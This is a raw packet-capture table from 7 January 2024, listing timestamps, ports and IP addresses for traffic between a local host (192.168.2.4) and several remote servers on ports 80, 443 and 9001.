Jan 7, 2024 05:29:56.125747919 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.175848007 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.175896883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.175937891 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.264945984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.265019894 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.265073061 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.267852068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.267888069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.267940998 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.270062923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.270077944 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.270123005 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.273626089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.273643970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.273677111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.273684978 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.273714066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.273760080 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.276207924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.276282072 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.276297092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.276325941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.276329041 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.276364088 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.276375055 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.276396990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.276434898 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.276434898 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.276460886 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.276506901 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.316725969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.316740990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.316831112 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.318535089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.318586111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.318633080 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.318679094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.318696022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.318733931 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.318759918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.318775892 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.318818092 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.320183992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.320307016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.320353031 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.353379011 CET	443	49758	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:56.353502035 CET	443	49758	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:56.353549957 CET	49758	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:56.353662014 CET	49758	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:56.353682995 CET	443	49758	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:56.370204926 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.370297909 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.370368958 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.391846895 CET	49759	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:56.391921997 CET	443	49759	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:56.392013073 CET	49759	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:56.392487049 CET	49759	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:56.392509937 CET	443	49759	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:56.459146023 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.459228992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.459280014 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.462085009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.462177038 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.462240934 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.463867903 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.463901043 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.464241028 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.468241930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.468337059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.468389988 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.468404055 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.468533993 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.468581915 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.470395088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.470468044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.470516920 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.470520020 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.470606089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.470655918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.470679998 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.470710039 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.470746994 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.470809937 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.470907927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.470949888 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.512022018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.512099981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.512175083 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.516313076 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.516398907 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.516448975 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.516484022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.516539097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.516577005 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.516623974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.516696930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.516736984 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.517199039 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.517333984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.517374992 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.565361977 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.565388918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.565468073 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.579746962 CET	443	49759	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:56.579837084 CET	49759	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:56.581073999 CET	49759	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:56.581094027 CET	443	49759	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:56.581373930 CET	443	49759	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:56.582587004 CET	49759	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:56.582717896 CET	49759	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:56.582726955 CET	443	49759	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:56.654378891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.654412031 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.654484034 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.657062054 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.657123089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.657179117 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.658638954 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.658701897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.658761978 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.662492037 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.662566900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.662620068 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.662647963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.662724972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.662770987 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.664608002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.664675951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.664726019 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.664875984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.664977074 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.665024996 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.665052891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.665162086 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.665201902 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.665234089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.665332079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.665370941 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.707340956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.707500935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.707555056 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.711678982 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.712415934 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.712471008 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.712697983 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.712718010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.712769032 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.712910891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.712927103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.712964058 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.713063955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.713077068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.713118076 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.759113073 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.759129047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.759315014 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.848289013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.848345041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.848473072 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.850773096 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.850795984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.850855112 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.852514982 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.852552891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.852596998 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.856446981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.856513977 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.856548071 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.856558084 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.856647968 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.856703997 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.858552933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.858624935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.858669043 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.858686924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.858740091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.858772993 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.858810902 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.858906031 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.858939886 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.859004021 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.859076977 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.859110117 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.901542902 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.901616096 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.901667118 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.906557083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.907239914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.907299042 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.907401085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.907493114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.907541037 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.907586098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.907644033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.907680035 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.907696009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.907756090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.907798052 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.953021049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.953170061 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.953228951 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.010236025 CET	443	49759	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:57.010360003 CET	443	49759	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:57.010411978 CET	49759	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:57.010490894 CET	49759	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:57.010510921 CET	443	49759	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:57.023605108 CET	49760	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:57.023654938 CET	443	49760	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:57.023725033 CET	49760	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:57.024204969 CET	49760	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:57.024219036 CET	443	49760	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:57.043132067 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.043231010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.043282986 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.045763969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.045809984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.045859098 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.158694983 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.158740044 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.215648890 CET	443	49760	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:57.215739012 CET	49760	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:57.217180967 CET	49760	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:57.217191935 CET	443	49760	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:57.217441082 CET	443	49760	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:57.218672991 CET	49760	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:57.218803883 CET	49760	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:57.218807936 CET	443	49760	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:57.353318930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.370498896 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.373147964 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.373172998 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.567011118 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.583707094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.587569952 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.587621927 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.646766901 CET	443	49760	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:57.646883011 CET	443	49760	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:57.646961927 CET	49760	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:57.648200989 CET	49760	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:57.648217916 CET	443	49760	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:57.665040970 CET	49762	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:57.665092945 CET	443	49762	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:57.665162086 CET	49762	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:57.665740967 CET	49762	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:57.665760040 CET	443	49762	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:57.782748938 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.798913002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.799015045 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.799104929 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.799124002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.799217939 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.799298048 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.799307108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.799390078 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.799432039 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.799462080 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.799586058 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.799627066 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.799736023 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.799829960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.799875975 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.799946070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.800020933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.800064087 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.800088882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.800117016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.800190926 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.800198078 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.800240040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.800277948 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.800287962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.800405979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.800447941 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.800479889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.800548077 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.800821066 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.801007032 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.801079035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.801161051 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.801207066 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.801228046 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.801273108 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.801300049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.801367044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.801425934 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.801454067 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.801526070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.801573038 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.801603079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.801723003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.801846981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.801889896 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.860127926 CET	443	49762	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:57.860225916 CET	49762	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:57.861669064 CET	49762	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:57.861682892 CET	443	49762	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:57.861989975 CET	443	49762	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:57.863367081 CET	49762	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:57.863498926 CET	49762	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:57.863512993 CET	443	49762	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:57.919217110 CET	49755	9001	192.168.2.4	88.198.112.25
Jan 7, 2024 05:29:57.994020939 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.994060040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.994138002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.994199991 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.994236946 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.994282007 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.994318008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.994362116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.994416952 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.994450092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.994525909 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.994568110 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.994620085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.994843006 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.994959116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.995002985 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.995034933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.995076895 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.995134115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.995229959 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.995311022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.995349884 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.995352030 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.995385885 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.995513916 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.995579004 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.995663881 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.995704889 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.995800018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.995839119 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.995899916 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.995989084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.996079922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.996120930 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.996167898 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.996206045 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.996233940 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.996304989 CET	80	49735	91.215.85.120	192.168.2.4
